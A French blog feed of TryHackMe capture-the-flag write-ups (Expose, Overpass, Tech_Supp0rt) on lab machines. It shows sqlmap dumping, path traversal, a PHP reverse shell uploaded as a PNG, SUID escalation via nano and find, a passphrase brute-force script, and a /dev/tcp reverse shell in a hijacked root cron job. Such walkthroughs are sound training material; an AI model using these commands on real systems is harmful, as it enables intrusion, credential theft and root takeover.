<p>J’ai tenté de voir avec Burp. Après avoir envoyé la requête dans le Repeater, on a une requête SQL mais qui n’inclue pas le mot de passe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746921893931/a82ed4af-ed7c-4d19-b420-fc3ca394e52f.png" alt class="image--center mx-auto" /></p>
<p>On va donc tenter une injection SQL ici. On voit aussi que larequête est envoyée par <code>POST</code> à <code>includes/user_login.php</code>.</p>
<p>On teste avec <code>ffuf</code> avec une liste de payloads d’injection SQL. Mais on a aucun résultat.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746920786294/b821aba5-951b-4d67-9b27-69dea32836f5.png" alt class="image--center mx-auto" /></p>
<p>Un autre moyen est de le faire avec sqlmap, un outil d’exploitation par injections SQL. On exécute la commande suivante: <code>sqlmap -u "http://10.10.230.197:1337/admin_101/includes/user_login.php" --data="email=hacker@root.thm&amp;password=test" --batch --dbs --dump</code> . Cette commande va permettre de lister toutes les bases de données disponibles et de récupérer le contenu des bases de données identifiées.</p>
<p>On voit donc trois base de données, dont une du nom de <code>expose</code> qui contient 2 tables: <code>config</code> et <code>user</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746924564109/35aaf430-4f7b-43bd-b58c-cb8a44e01d2d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925223418/5c04ac2f-be4c-4cb0-b4d3-03d8603ff1ad.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925089013/af88a29f-7265-413a-b01d-7fb8205408a7.png" alt class="image--center mx-auto" /></p>
<p>On a maintenant le nom d’utilisateur <code>hacker@root.thm</code> et son mot de passe. On arrive ensuite à se connecter, mais la page n’est pas tant utile et on a rien dans le code source.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925188084/224fc1f5-1631-400c-a30a-45f321cae231.png" alt class="image--center mx-auto" /></p>
<p>En visitant <code>/file1010111/index.php</code> , trouvé dans la table config, on tombe sur un formulaire qui demande un mot de passe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925325428/e272ea5c-1bd4-478d-9fdb-3da781d4b445.png" alt class="image--center mx-auto" /></p>
<p>Le mot de passe fourni dans la table est peut-être codé. En allant sur dcode, on l’obtient en clair.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925628778/c24ed192-42e6-4ea6-95dd-00169edf013e.png" alt class="image--center mx-auto" /></p>
<p>On tombe à nouveau sur une autre page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746925715534/4b0d4833-0167-4add-901f-021619cd0a42.png" alt class="image--center mx-auto" /></p>
<p>Dans le code source , on a une sorte d’indice qui nous dit d’essayer avec des paramètres.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746926125658/ffcf0b11-6fab-46a5-beef-f7551ca57e02.png" alt class="image--center mx-auto" /></p>
<p>On va donc manipuler l’URL. J’ai essayé <code>http://10.10.230.197:1337/file1010111/index.php?file=test</code> ou encore <code>http://10.10.230.197:1337/file1010111/index.php?file=1</code>, mais rien.</p>
<p>Dans la deuxième entrée de la table config, il y avait une autre URL qui indiquait ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z. Il faut donc voir pour des username, faisant allusion à <code>/etc/passwd</code>. J’ai donc tenté <code>http://10.10.230.197:1337/file1010111/index.php?file=../../../../../etc/passwd</code>.</p>
<p>On a bel et bien un nom d’utilisateur débutant par z.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746926726627/a46430a2-a29d-468c-afa6-bada92ebc163.png" alt class="image--center mx-auto" /></p>
<p>On tombe sur une page qui permet d’upload un fichie, via le répertoire <code>/upload-cv00101011</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746926747852/3ede118a-4733-4f55-a5ea-283b651948e8.png" alt class="image--center mx-auto" /></p>
<p>En regardant le code source, on voit que le site accepte juste un fichier <code>jpg</code> ou <code>png</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746926885871/255e83de-3717-4da6-902b-5ce741719e53.png" alt class="image--center mx-auto" /></p>
<p>On y upload une photo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746927186945/cbdde2b1-fe3d-4313-a432-cf4c4eab6531.png" alt class="image--center mx-auto" /></p>
<p>On regarde à nouveau le code source, on voit que les fichiers sont téléversés dans le répertoire <code>/upload_thm_1001</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746927238097/38023f3b-b690-4539-b342-244dcf7d9bbd.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746927543316/f90e958a-83c8-42da-ad2e-7e23f6f80c54.png" alt class="image--center mx-auto" /></p>
<p>Les photos sont sous le répertoire <code>/upload_thm_1001</code>.</p>
<p>Ce qu’on va donc faire cest téléverser un fichier qui sera notre reverse shell. Vu que le serveur utilise php, on utilisera un reverse shell en php. On peut créer un revshell sur <a target="_blank" href="https://www.revshells.com/">Online - Reverse Shell Generator</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746927780753/38e2b314-c71f-404c-84e4-4bbefad3c6d9.png" alt class="image--center mx-auto" /></p>
<p>J’ai créé un fichier <code>rev_shell.php</code> mais que jai renommé <code>rev_shell.png</code>, pour que l’upload réussisse.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928195307/23ef5adf-deb4-421f-a1c5-28c69d12676d.png" alt class="image--center mx-auto" /></p>
<p>Il faut donc renommer le fichier une fois dans Burp en <code>rev_shell.php</code> puis forward la requête</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928376921/96531464-8652-4050-8404-c296e90db17a.png" alt class="image--center mx-auto" /></p>
<p>On retourne dans le répertoire <code>/upload_thm_1001</code> <em>et on voit</em> que le fichier <code>rev_shell.png</code> que j’ai renommé dans la requête en <code>rev_shell.php</code> a bien été téléversé comme le montre la photo ci-dessous.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928308535/3204c963-3b04-44bf-815d-65ab642fedb1.png" alt class="image--center mx-auto" /></p>
<p>Il suffit donc de cliquer sur la photo, et on a le shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928635360/a59c5ad5-4401-4d86-9ca8-f4afa0537c75.png" alt class="image--center mx-auto" /></p>
<p>On est connecté en tant que www-data. Mais une fois connecté, je ne peux pas lire le flag de l’utilisateur. Mais le fichier ssh_creds.txt contient ses identifiants avec lesquels on peut juste se connecter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928738230/81a19a3e-6b03-4ee4-85a6-5b85da035add.png" alt class="image--center mx-auto" /></p>
<p>J’ai donc changé d’utilisateur, avec la commande <code>su zeamkish</code> pour passer de <code>www-data</code> à <code>zeamkish</code>, entré son mot de passe, et j’ai accès à <code>flag.txt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746928971279/046b807a-b87b-417c-b81d-641e9ddd7734.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-root-flag">Root Flag</h1>
<p>La commande <code>sudo -l</code> ne nous sort rien. Donc zeamkish n’a aucun privilège root.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747012509027/b3a50133-d9d7-4ef1-b51e-5bab110fb9e8.png" alt class="image--center mx-auto" /></p>
<p>On essaie aussi de voir un fichier potentiel de flag contenant le terme root, mais rien.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747014225385/acacd5e4-f2cf-4885-9527-9e2cc97d49b5.png" alt class="image--center mx-auto" /></p>
<p>Finalement, on regarde les fichiers SUID, qui sont des fichiers ou programmes qui s’exécutent avec les droits de leur propriétaire, souvent root. Avec la commande <code>find / -type f -perm -u=s 2&gt;/dev/null</code> ou <code>find / -type f -perm 4000 2&gt;/dev/null</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747014551899/e78aa8b2-63d7-4a7e-948b-39ff91fb4c02.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747075197669/343beb99-de49-46f6-aef7-16954161accf.png" alt class="image--center mx-auto" /></p>
<p>On a une liste de binaires SUID avec le bit s, et qui appartiennetnt à root. Il est possible ici d’utiliser plus d’un.</p>
<h2 id="heading-usrbinnano">/usr/bin/nano</h2>
<p>Le binaire <code>/usr/bin/nano</code> permet de modifier des fichiers avec des privilèges root. On peut donc modifier le fichier <code>/etc/shadow</code> qui contient les mots de passes des utilisateurs. Pour cela, on génère d’abord le hash du mot de passe avec <code>openssl</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747015985184/383a5d86-56a9-44e7-bda9-a4fe74a35bac.png" alt class="image--center mx-auto" /></p>
<p>On copie ensuite ce hash, au niveau de root, juste après <code>root:</code> avec la commande <code>/usr/bin/nano /etc/shadow</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747016118148/3b237ccb-c853-43a4-a788-00425d22b42b.png" alt class="image--center mx-auto" /></p>
<p>On passe maintenant à root, et on a le flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747016158821/508e2a65-5138-4fe4-8388-54672bd22933.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747016198415/a69b43c4-8bd4-4de9-848a-4029b583f032.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-usrbinfind">/usr/bin/find</h2>
<p>On peut aussi utiliser le binaire find pour directement trouver le flag de root. On peut utiliser la commande <code>/usr/bin/find . -exec /bin/sh -p \; -quit</code>. Cette commande utilise le binaire find pour exécuter un shell avec les privilèges SUID.</p>
<ul>
<li><p><code>/usr/bin/find</code> est le chemin du binaire trouvé un peu plus haut.</p>
</li>
<li><p><code>-exec /bin/sh -p \;</code> exec est une option de find qui permet d’exécuter des commandes. L’option <code>-p</code> permet de conserver les userid effectif (celui de root), ce qui me donne un shell en étant root. On peut le voir dans la capture ci dessous. Sans l’option -p, le shell détecte une différence entre l’UID réel et l’UID effectif et redescend à l’UID réel (celui de l’utilisateur zeamkish).</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747076245158/7f0da240-d495-4420-bebe-6b0a36bf34bd.png" alt class="image--center mx-auto" /></p>
<p>On peut ensuite lire le flag.txt dans le fichier <code>flag.txt</code> de <code>/root</code>.</p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Room overpass]]></title><description><![CDATA[Lien de la room: TryHackMe | Overpass
Flag user.txt
On débute par un scan nmap. On a juste deux ports ouverts.

L’interface web sur le port 80 nous renvoie une page assez basique

La commande gobuster dir -u 10.10.140.46 -w /usr/share/wordlists/dirb/...]]></description><link>https://blog.fikara.io/tryhackme-room-overpass</link><guid isPermaLink="true">https://blog.fikara.io/tryhackme-room-overpass</guid><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Fri, 09 May 2025 01:29:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746744533776/054e9d9f-f7a6-4ebc-aa7a-49feebb1f5dc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien de la room: <a target="_blank" href="https://tryhackme.com/room/overpass">TryHackMe | Overpass</a></p>
<h1 id="heading-flag-usertxt">Flag user.txt</h1>
<p>On débute par un scan nmap. On a juste deux ports ouverts.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746744768060/6b544e65-acb6-443c-8b33-fee9e288c9b0.png" alt class="image--center mx-auto" /></p>
<p>L’interface web sur le port 80 nous renvoie une page assez basique</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746744860080/7a949893-4c53-4258-b676-6d04013e89c1.png" alt class="image--center mx-auto" /></p>
<p>La commande <code>gobuster dir -u 10.10.140.46 -w /usr/share/wordlists/dirb/big.txt</code> nous donne un répertoire plutôt intéressant.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746746045174/f54b7093-ef23-4e4c-957d-201e365be54e.png" alt class="image--center mx-auto" /></p>
<p>Il s’agit d’une page de connexion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746746015553/bce0f15e-f825-449e-8f37-175d01f50616.png" alt class="image--center mx-auto" /></p>
<p>On tente de l’injection SQL ici. Après avoir envoyé des données aléatoires, je vois qu’une requête POST est envoyée à <code>http://10.10.140.46/api/login</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746748248311/16c90eaf-6b65-4178-ac8a-b6600445c6fd.png" alt class="image--center mx-auto" /></p>
<p>On va donc utiliser ffuf vers cette adresse avec une liste de payloads disponible sur <a target="_blank" href="https://github.com/Mehdi0x90/Web_Hacking/blob/main/Login%20Bypass.md">Github</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746749091326/be2f0e59-8a29-46ad-b488-803ccba6ffc2.png" alt class="image--center mx-auto" /></p>
<p>Mais on a rien comme résultat.</p>
<p>En fouillant un peu plus au niveau de l’inspecteur, on tombe sur un fichier <code>login.js</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746749139279/c3e49d3a-c516-4d91-8771-9b55152a1488.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746749199562/f1ba126b-8ae4-4b2f-b0bb-d0390a83cef0.png" alt class="image--center mx-auto" /></p>
<p>En regardant de plus près, le bout de code ci-dessous, on voit qu’il contient une faille plutôt logique.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">if</span> (statusOrCookie === <span class="hljs-string">"Incorrect credentials"</span>) {
  <span class="hljs-comment">// échec</span>
} <span class="hljs-keyword">else</span> {
  <span class="hljs-comment">// tout le reste = succès → on stocke ce qu’on a reçu comme token</span>
  Cookies.set(<span class="hljs-string">"SessionToken"</span>, statusOrCookie)
  <span class="hljs-built_in">window</span>.location = <span class="hljs-string">"/admin"</span>
}
</code></pre>
<p>Seul le texte <code>"Incorrect credentials"</code> est traité comme un échec. Tout autre réponses valident la connexion et redirigent vers <code>/admin</code>. On peut donc en tirer parti et modifier manuellement depuis la console du navigateur.</p>
<p>Ensuite au niveau du stockage, on ajoute un nouveau cookie avec le nom “SessionToken“ en lui attribuant n’importe quelle valeur. On recharge ensuite la page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746797983659/5e9b8b5c-4491-4bc1-9fba-f143c8984cce.png" alt class="image--center mx-auto" /></p>
<p>On a donc accès à la page admin et on y voir une clé privée, avec un nom d’utilisateur James. On peut donc potentiellement avoir une connection en ssh.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746751041707/3aad40e9-6ed2-4687-9dee-19d0913eb57f.png" alt class="image--center mx-auto" /></p>
<p>La clé est chiffrée en <code>AES-128-CBC</code>. Il va donc falloir en extraire une empreinte exploitable par John the Ripper, cracker la passphrase, puis l’utiliser pour se connecter.</p>
<p>On copie d’abord l’entièreté de la clé débutant par <code>-----BEGIN RSA PRIVATE KEY-----</code>. Avec <code>ssh2john</code>, on génère le hash.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746752509590/c5503f53-e435-4cbc-813e-718bbf532d08.png" alt class="image--center mx-auto" /></p>
<p>On le cracke ensuite avec <code>john</code>.</p>
<p>🫤Petit blocage ici. L’outil john n’est pas installé sur la machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746753164125/de98c60b-f247-4a1c-82e5-dc08834894ef.png" alt class="image--center mx-auto" /></p>
<p>ChatGPT m’a donc fourni une alternative 😙. Un script permettant de trouver la passphrase de la clé privée.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
KEYFILE=<span class="hljs-string">"priv_key"</span>
WORDLIST=<span class="hljs-string">"/usr/share/wordlists/rockyou.txt"</span>

<span class="hljs-keyword">while</span> IFS= <span class="hljs-built_in">read</span> -r pass; <span class="hljs-keyword">do</span>
  <span class="hljs-comment"># Tente de déchiffrer ; on envoie stdout/stderr vers /dev/null</span>
  openssl rsa -<span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">$KEYFILE</span>"</span> -passin pass:<span class="hljs-string">"<span class="hljs-variable">$pass</span>"</span> -out /dev/null 2&gt;/dev/null
  <span class="hljs-keyword">if</span> [ $? -eq 0 ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"[+] Passphrase trouvée : <span class="hljs-variable">$pass</span>"</span>
    <span class="hljs-built_in">exit</span> 0
  <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span> &lt; <span class="hljs-string">"<span class="hljs-variable">$WORDLIST</span>"</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"[-] Aucune passphrase trouvée dans <span class="hljs-variable">$WORDLIST</span>"</span>
</code></pre>
<p>À copier dans un fichier <code>crack.sh</code> puis le rendre exécutable avec <code>chmod +x crack.sh</code>. Lancer ensuite le script avec <code>./crack.sh</code>.</p>
<p>On a maintenant la passphrase 😋. On peut se connecter avec l'utilisateur trouvé un peu plus haut.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746753459960/2325aa1a-4ac5-42ea-a432-9e0aca9dc944.png" alt class="image--center mx-auto" /></p>
<p>La dernière étape consite à rendre la clé uniquement lisible par le propriétaire, car SSH l’exige</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746798473966/f0d0cfc4-8f90-431e-a933-985e4919f261.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746798493017/411a912f-8f93-4344-bc43-7509ecf41b14.png" alt class="image--center mx-auto" /></p>
<p>On fait donc <code>chmod 600 priv_key</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746798538473/4061556a-1e12-4f04-9e5d-eba0d5b9b248.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746798620429/9c18f159-e17b-4124-9e5e-1e5ce7a3e08f.png" alt class="image--center mx-auto" /></p>
<p>On arrive à se connecter et on le premier flag 🥳.</p>
<h1 id="heading-flag-roottxt">Flag root.txt</h1>
<p>Dans le répertoire de l’utilisateur <code>james</code>, on a un fichier <code>todo.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746754510029/47eafd9c-09bc-4e60-b382-26a8f6eae6a3.png" alt class="image--center mx-auto" /></p>
<p>Celui-ci donne des indices plutôt intéressants: Le mot de passe est peut être quelque part dans un fichier? Ou il peut y avoir aussi un password manager? Il suggère aussi de tester overpass pour macOS.</p>
<p>J’ai tenté de rechercher un fichier avec overpass, password, ou password manager. Juste les résultats pour overpass sont intéressants.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746754648566/bf8c6a25-3a67-4507-aa67-aa82ec4aca89.png" alt class="image--center mx-auto" /></p>
<p>On a un binaire <code>/usr/bin/overpass</code> et un fichier <code>/.overpass</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746798840302/912f151f-fad6-4051-ac7e-ff602962bd19.png" alt class="image--center mx-auto" /></p>
<p>On cherche aussi l’utilitaire crontab qui permet de planifier l’exécution de tâches ou scripts de manière périodique. On voit que la commande <code>curl overpass.thm/downloads/src/buildscript.sh | bash</code> s’exécute chaque minute. Il télécharge le script <code>buildscript.sh</code> depuis <code>overpass.thm/downloads/src/</code> avec <code>curl</code> puis l’exécute avec <code>bash</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746799003104/9304c38b-a110-4a32-a139-a08f4ddaf91c.png" alt class="image--center mx-auto" /></p>
<p>On voit aussi que overpass.thm pointe vers la machine même(localhost). Donc si on lance un serveur HTTP sur le port 80 sur notre machine Kali, on contrôle totalement ce que root télécharge et exécute. On peut ensuite modifier le fichier <code>/etc/hosts</code> du serveur cible et la pointer vers notre machine Kali.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746805182225/16d5678f-c487-4c0e-a9b1-fd4b87a448ca.png" alt class="image--center mx-auto" /></p>
<p>Première étape, on crée un répertoire identique à ce qui est exécuté sur la machine cible soit <code>/downloads/src/</code>. On y créé ensuite un fichier <code>buildscript.sh</code> qui contient le reverse shell. Vous pouvez utiliser <a target="_blank" href="https://www.revshells.com/">Online - Reverse Shell Generator</a> pour créer votre reverse shell.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
/bin/bash -i &gt;&amp; /dev/tcp/IP_MACHINE_KALI/4444 0&gt;&amp;1
</code></pre>
<p>Prochaine étape serait de créée un serveur python sur la machine Kali sur le port 80 et un écouteur sur le port 4444</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746916553451/4fe51335-ba7f-4356-adce-3da404ac443f.png" alt class="image--center mx-auto" /></p>
<p>On retourne ensuite modifier le fichier <code>/etc/hosts</code> pour faire pointer <code>overpass.thm</code> vers l’adresse IP de la machine Kali.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746831767156/ec8e8e12-ae7b-483f-bdb9-e7c0ff91e089.png" alt class="image--center mx-auto" /></p>
<p>On patiente alors une minute pour que la tâche s’exécute à nouveau, et on a le shell sur notre machine Kali.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746916685295/a8febd45-4fed-4ff9-8686-f7273dd51a74.png" alt class="image--center mx-auto" /></p>
<p>On a le flag 🥳</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746916744381/05ca9e8f-e9e0-434a-a89e-51355784c1f5.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Room techsupp0rt1]]></title><description><![CDATA[Lien de la room: TryHackMe | Tech_Supp0rt: 1
Énumération
Le scan Nmap nous donne le résultat suivant.

Rien d’extraordinaire
On essaie le port 80 et on tombe sur la page par défaut Ubuntu

La recherche par gobuster nous donne deux pages plutôt intére...]]></description><link>https://blog.fikara.io/tryhackme-room-techsupp0rt1</link><guid isPermaLink="true">https://blog.fikara.io/tryhackme-room-techsupp0rt1</guid><category><![CDATA[thm room]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[thm-presecurity-path]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Thu, 08 May 2025 00:53:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746668322615/de919d57-32cb-407b-8330-442a0f9a48ff.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien de la room: <a target="_blank" href="https://tryhackme.com/room/techsupp0rt1">TryHackMe | Tech_Supp0rt: 1</a></p>
<h1 id="heading-enumeration">Énumération</h1>
<p>Le scan Nmap nous donne le résultat suivant.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746657858268/39c10e19-a6a1-4afa-b0fa-fd87db0a3fe1.png" alt class="image--center mx-auto" /></p>
<p>Rien d’extraordinaire</p>
<p>On essaie le port 80 et on tombe sur la page par défaut Ubuntu</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746662422650/7f4fa8e5-4374-4c0e-84f0-6253637c56cd.png" alt class="image--center mx-auto" /></p>
<p>La recherche par gobuster nous donne deux pages plutôt intéressantes: <code>http://10.10.74.44/wordpress/</code> et <code>http://10.10.74.44/test/</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746658876068/6bec499c-551a-496d-8d06-7cf1a7998a57.png" alt class="image--center mx-auto" /></p>
<p>La page <code>http://10.10.74.44/test/</code> semble être une page malveillante avec beaucoup de pop-ups.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746658860501/e7efa3d5-8dbe-48f2-8e6d-924ef1d7127d.png" alt class="image--center mx-auto" /></p>
<p>La page <code>http://10.10.74.44/wordpress/</code> semble être une page normal avec quelques codes d’erreur 404.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746659483105/86549896-97e0-47bc-9c8a-76c356bdb2d4.png" alt class="image--center mx-auto" /></p>
<p>En parcourant un peu le site, on tombe sur un lien, qui nous dirige vers uns adresse différente que celle de base. En la modifiant pour celle de l’adresse IP de la cible de base, on tombe sur une page d’authenfication WordPress</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746661251899/197acfd7-d2d4-40fc-83cb-bfd767aef07e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746661266977/735fa90e-1373-4875-b7b6-97ea3960c5ec.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746661353771/6905a6e8-0c22-4f38-a8bd-5f4a43a9c278.png" alt class="image--center mx-auto" /></p>
<p>Après avoir tenté quelques combinaisons et de l’injection SQL, rien d’intéressant ici pour le moment.</p>
<p>Vu que les ports 139 et 445 sont ouverts, on utilise smbclient pour interagir avec les serveurs Samba et accéder potentiellement à des partages de fichiers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746659959767/d4e77b37-42d9-41b9-8aa9-070d160863bd.png" alt class="image--center mx-auto" /></p>
<p>On voit trois partages disponibles. Les partages avec $ à la fin indiquent qu’ils sont cachés et ne sont pas visibles par tous. On peut donc accéder à <code>\\10.10.74.44\websvr</code>.</p>
<p>On accède au partage et on y voit un fichier <code>enter.txt</code> qu’on récupère sur notre machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746660499820/2f6d404b-c557-4f8c-82e2-5b81781f8636.png" alt class="image--center mx-auto" /></p>
<p>Ce fichier contient des informations assez utiles, dont la possibilité de l’existence de Subrion, un système de gestion de contenu (CMS) et des identifiants de connexion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746660515401/334e1d2b-6eb8-4af7-b7ae-4e062bc2f318.png" alt class="image--center mx-auto" /></p>
<p>On peut peut-être s’en servir pour se connecter à une interface?</p>
<p>Après une petite recherche google sur Subrion, on peut tester les panneaux d’administration Subrion aux addresses http://10.10.74.44/subrion, http://10.10.74.44/subrion/panel ou encore http://10.10.74.44/subrion/admin.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746662798301/893ea53c-2316-4917-8085-46be5943c743.png" alt class="image--center mx-auto" /></p>
<p>Après avoir testé les identifiants trouvés un peu plus haut, on a un message d’erreur au niveau de l’authentification.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746662918875/b66feb25-856a-4231-8bb5-fb0a53ee47cf.png" alt class="image--center mx-auto" /></p>
<p>Vu qu’on avait une note <code>[cooked with magical formula]</code>, cela indique que le mot de passe est à décoder probablement. Je me rends donc sur <a target="_blank" href="https://www.dcode.fr/fr">https://www.dcode.fr/fr</a>, au niveau du détecteur de chiffrement en premier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746663134990/06ad04a7-e56b-4777-bb42-e11ad7ad1a04.png" alt class="image--center mx-auto" /></p>
<p>On voit une indication d’un chiffrement en Base 58. En l’utilisant sur CyberChef on voit le mot de passe en clair.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746663521268/c1aac50f-d459-4e3e-abf2-c9c495cb24a7.png" alt class="image--center mx-auto" /></p>
<p>On a accès à l’interface de Subrion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746663708953/08539d71-e214-426e-8ed6-58f323ae9549.png" alt class="image--center mx-auto" /></p>
<p>En parcourant un peu le dahsboard, on a juste pas mal d’informations. Aucun mot de passe en clair, ou une indication sur tel ou tel indice.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746665885789/3fa09279-4004-4807-92fd-5276c78f3f78.png" alt class="image--center mx-auto" /></p>
<p>On voit par contre la version du CMS qui est la 4.2.1.</p>
<p>En recherchant sur <a target="_blank" href="https://www.exploit-db.com/">https://www.exploit-db.com/</a>, on a quelques vulnérabilités de cette version ainsi que les CVEs.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746665937024/b9626217-9044-49ed-8cf9-1afba700374d.png" alt class="image--center mx-auto" /></p>
<p>Après avoir fouillé un peu, on peut tirer parti de la vulnérabilité <code>Arbitrary File Upload</code> de Subrion 4.2.1 pour déposer un shell et potentiellement obtenir un accès.</p>
<p>On se rend dans <code>msfconsole</code> ensuite, pour récupérer et adapter l’exploit avec la commande <code>searchsploit -m php/webapps/49876.py</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746666647564/fc52efa6-d180-47a8-b9ed-ac8d2b40a3ec.png" alt class="image--center mx-auto" /></p>
<p>Le fichier est maintenant téléchargé. La prochaine étape est de le consulter et voir ce que fait le contenu.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746666738937/a2e81b6d-080e-46b7-bfa4-1a012b67984b.png" alt class="image--center mx-auto" /></p>
